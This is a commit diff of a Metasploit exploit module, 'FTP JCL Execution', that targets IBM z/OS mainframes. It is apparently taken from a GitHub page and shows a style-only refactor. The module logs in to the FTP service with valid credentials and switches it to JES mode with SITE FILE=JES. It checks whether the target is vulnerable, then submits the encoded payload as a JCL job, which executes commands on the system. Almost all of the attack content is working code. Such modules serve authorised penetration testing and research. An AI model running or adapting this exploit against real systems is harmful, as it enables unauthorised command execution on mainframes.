33# Current source: https://github.com/rapid7/metasploit-framework
44##
55
6-
76class MetasploitModule < Msf ::Exploit ::Remote
87 Rank = NormalRanking
98
109 include Msf ::Exploit ::Remote ::Ftp
1110 include Msf ::Exploit ::Remote ::Tcp
1211
1312 def initialize ( info = { } )
14- super ( update_info (
15- info ,
16- 'Name' => 'FTP JCL Execution' ,
17- 'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES.
18- This exploit requires valid credentials on the target system)} ,
19- 'Author' =>
20- [
21- 'Bigendian Smalls' ,
22- 'mainframed a.k.a. soldier of fortran' ,
23- 'S&Oxballs a.k.a. chiefascot'
24- ] ,
25- 'Arch' => ARCH_CMD ,
26- 'License' => MSF_LICENSE ,
27- 'Platform' => [ 'mainframe' ] ,
28- 'Privileged' => false ,
29- 'Targets' => [ [ 'Automatic' , { } ] ] ,
30- 'DisclosureDate' => '2013-05-12' ,
31- 'DisableNops' => 'true' ,
32- 'DefaultTarget' => 0
33- ) )
13+ super (
14+ update_info (
15+ info ,
16+ 'Name' => 'FTP JCL Execution' ,
17+ 'Description' => %q{
18+ Submit JCL to z/OS via FTP and SITE FILE=JES.
19+ This exploit requires valid credentials on the target system.
20+ } ,
21+ 'Author' => [
22+ 'Bigendian Smalls' ,
23+ 'mainframed a.k.a. soldier of fortran' ,
24+ 'S&Oxballs a.k.a. chiefascot'
25+ ] ,
26+ 'Arch' => ARCH_CMD ,
27+ 'License' => MSF_LICENSE ,
28+ 'Platform' => [ 'mainframe' ] ,
29+ 'Privileged' => false ,
30+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
31+ 'DisclosureDate' => '2013-05-12' ,
32+ 'DisableNops' => 'true' ,
33+ 'DefaultTarget' => 0 ,
34+ 'Notes' => {
35+ 'Stability' => [ CRASH_SAFE ] ,
36+ 'SideEffects' => [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ] ,
37+ 'Reliability' => [ REPEATABLE_SESSION ]
38+ }
39+ )
40+ )
3441
3542 register_options (
3643 [
3744 Opt ::RPORT ( 21 ) ,
38- OptInt . new ( 'SLEEP' , [ false , " Time to wait before checking if job has completed." , 5 ] )
39- ] , self . class
45+ OptInt . new ( 'SLEEP' , [ false , ' Time to wait before checking if job has completed.' , 5 ] )
46+ ]
4047 )
4148 end
4249
@@ -48,11 +55,9 @@ def check
4855 ##
4956 # Connect to get the FTP banner and check target OS
5057 ##
51- if !connect_login
52- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Failed to connect to FTP server" )
53- else
54- print_good ( "Successfully connected to FTP server." )
55- end
58+ fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Failed to connect to FTP server" ) unless connect_login
59+
60+ print_good ( 'Successfully connected to FTP server.' )
5661 test_jes = send_cmd ( [ 'site' , 'file=jes' ] )
5762
5863 # Disconnect and check cached self.banner
@@ -61,40 +66,29 @@ def check
6166 ##
6267 # Check if the target system has an FTP server running on z/OS"
6368 ##
64- case banner
65- when /IBM FTP CS V.R./
66- case test_jes
67- when /200 SITE/
68- print_status ( "Found IBM z/OS Banner and JES commands accepted" )
69- return Exploit ::CheckCode ::Vulnerable
70- else
71- print_error ( "Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!" )
72- return Exploit ::CheckCode ::Detected
73- end
69+ unless banner =~ /IBM FTP CS V.R./
70+ return CheckCode ::Safe ( "We could not recognize the server banner: #{ banner . strip } " )
71+ end
7472
75- ##
76- # Return the Safe flag if system is not exploitable
77- ##
78- else
79- print_status ( "We could not recognize the server banner: #{ banner . strip } " )
80- return Exploit ::CheckCode ::Safe
73+ if test_jes =~ /200 SITE/
74+ return CheckCode ::Vulnerable ( 'Found IBM z/OS Banner and JES commands accepted' )
8175 end
76+
77+ CheckCode ::Detected ( 'Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!' )
8278 end
8379
8480 ##
8581 # Exploit the target system by submitting a JCL job via FTP
8682 ##
8783 def exploit
88- if !connect_login
89- fail_with ( Failure ::UnexpectedReply , "#{ rhost } :#{ rport } - Failed to connect to FTP server" )
90- else
91- print_good ( "Successfully connected to FTP server." )
92- end
84+ fail_with ( Failure ::UnexpectedReply , "#{ rhost } :#{ rport } - Failed to connect to FTP server" ) unless connect_login
85+
86+ print_good ( 'Successfully connected to FTP server.' )
9387
9488 send_cmd ( [ 'site' , 'file=jes' ] )
95- print_good ( " Successfully switched to JES mode" )
89+ print_good ( ' Successfully switched to JES mode' )
9690
97- jcl_file_name = " #{ Rex ::Text . rand_text_alpha ( 8 ) . upcase } "
91+ jcl_file_name = Rex ::Text . rand_text_alpha_upper ( 8 )
9892 print_status ( "Uploading JCL file: #{ jcl_file_name } " )
9993
10094 res = send_cmd_data ( [ 'put' , jcl_file_name ] , payload . encoded )
0 commit comments